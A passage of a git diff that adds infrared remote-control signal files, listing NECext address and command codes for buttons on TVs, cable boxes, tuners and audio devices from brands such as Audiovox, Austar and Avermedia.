+protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: GAIN_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: VOL_UP_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: BAL_L +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BAL_L_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BALANCE_LEFT_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BALANCE_LEFT_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: BAL_R +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: BAL_R_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: BALANCE_RIGHT_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: BALANCE_RIGHT_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 13 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: VOL_DN_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_-_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: BAL/SE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: BAL/SE_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: BAL/SE_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: HOURS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: HOURS_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: HOURS_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: PROC +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: PROC_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: PROC_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: INVERT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: INVERT_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: INVERT_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: MUTE_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: MONO_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: STEREO/MONO_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: STEREO/MONO_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: POWER_OFF_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: POWER_OFF_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: POWER_ON_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: POWER_ON_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: MUTE_OFF_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: MUTE_OFF_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: MUTE_ON_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: MUTE_ON_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: MONIT_OFF_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: MONIT_OFF_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: MONITOR_ON_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: MONITOR_ON_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: LO_GAIN_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: LO_GAIN_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: MED_GAIN_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: MED_GAIN_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: HI_GAIN_A +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: HI_GAIN_B +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir b/assets/resources/infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir new file mode 100644 index 000000000..8e1ab5790 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: rear+ +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 04 00 00 00 +# +name: monitor +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: rear- +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 08 00 00 00 +# +name: matrix +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: phantom +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0A 00 00 00 +# +name: center+ +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 10 00 00 00 +# +name: hall +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 11 00 00 00 +# +name: 20ms +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 12 00 00 00 +# +name: center- +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 20 00 00 00 +# +name: surround +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 21 00 00 00 +# +name: 30ms +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 22 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 40 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 41 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir b/assets/resources/infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir new file mode 100644 index 000000000..a8ce5db71 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: TVRADIO +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 00 00 00 00 +# +name: PAGEUP +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 01 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 02 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 03 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 09 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 0B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 0D 00 00 00 +# +name: SUB +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 0E 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 10 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 11 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 12 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 14 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 15 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 16 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 18 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 19 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 1A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 1B 00 00 00 +# +name: PAGEDOWN +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 1D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 1E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 1F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 41 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 42 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 48 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 49 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 4A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 58 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 59 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 5A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 5C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 5D 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 08 F7 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir b/assets/resources/infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir new file mode 100644 index 000000000..4817c8685 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 01 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 02 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 06 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0A 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0C 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 0D 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 80 7E 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir new file mode 100644 index 000000000..333a57c4d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: memo +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: disp +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: cat- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: cat+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir new file mode 100644 index 000000000..74d1f7073 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: CAT- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: CAT+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir b/assets/resources/infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir new file mode 100644 index 000000000..189838d8b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 09 00 00 00 +# +name: BOX_OFFICE +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 14 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 17 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 21 00 00 00 +# +name: AUSTAR +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 38 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 54 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 58 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 5A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 5B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 5C 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 6D 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 6E 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 70 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: 83 00 00 00 +# +name: TV_GUIDE +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: CC 00 00 00 +# +name: I-MODE +type: parsed +protocol: NECext +address: 20 E0 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir new file mode 100644 index 000000000..f8ef1a34b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: Full +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: Screen +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 24 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 26 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 27 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 28 00 00 00 +# +name: KEY_F5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 29 00 00 00 +# +name: KEY_F6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2A 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2B 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2C 00 00 00 +# +name: KEY_F7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2D 00 00 00 +# +name: KEY_F8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir new file mode 100644 index 000000000..2478e6ed8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0A 00 00 00 +# +name: mts-stero +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0C 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 10 00 00 00 +# +name: av-pc +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 14 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 15 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1B 00 00 00 +# +name: ch-rtn +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1F 00 00 00 +# +name: pip-ch +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 41 00 00 00 +# +name: pip-pos +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 42 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 43 00 00 00 +# +name: bgm-res +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir new file mode 100644 index 000000000..9a2ab6933 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: LEFTARROW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 